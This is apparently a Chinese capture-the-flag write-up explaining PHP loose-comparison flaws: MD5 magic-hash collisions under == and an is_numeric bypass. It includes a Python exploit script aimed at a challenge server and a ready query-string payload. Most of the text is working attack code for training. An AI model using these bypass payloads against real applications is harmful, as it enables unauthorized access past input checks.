考点
- MD5 弱比较 (
==):
- PHP 在使用
== 比较两个形如 0e\d+ 的字符串时,会将它们解析为科学计数法 0 * 10^n,结果均为 0。
- 常见的 Magic Hash 对:
QNKCDZO (0e8304...) 和 240610708 (0e4620...)。
is_numeric 绕过:
- 代码要求
$num == 114514 (弱比较) 且 !is_numeric($num)。
- 字符串
"114514a" 在弱比较时会被截断为 114514,满足第一个条件。
- 但它包含字母
a,所以 is_numeric 返回 False,满足第二个条件。
解题脚本
见 exp.py:
import requests
# Configuration
TARGET_URL = "http://115.159.155.176:8083/"
def exploit():
print(f"[*] Targeting {TARGET_URL}...")
# Based on WP.md and previous knowledge:
# 1. MD5 Magic Hash: v1 != v2 but md5(v1) == md5(v2) (Weak Comparison)
# v1 = QNKCDZO, v2 = 240610708
# 2. is_numeric Bypass: num == 114514 but !is_numeric(num)
# num = 114514a
params = {
'v1': 'QNKCDZO',
'v2': '240610708',
'num': '114514a'
}
try:
r = requests.get(TARGET_URL, params=params)
print(f"[*] Status: {r.status_code}")
print("[*] Response:")
print(r.text)
if "FLAG{" in r.text or "flag{" in r.text:
print("\n[SUCCESS] Flag found!")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit()
Payload: ?v1=QNKCDZO&v2=240610708&num=114514a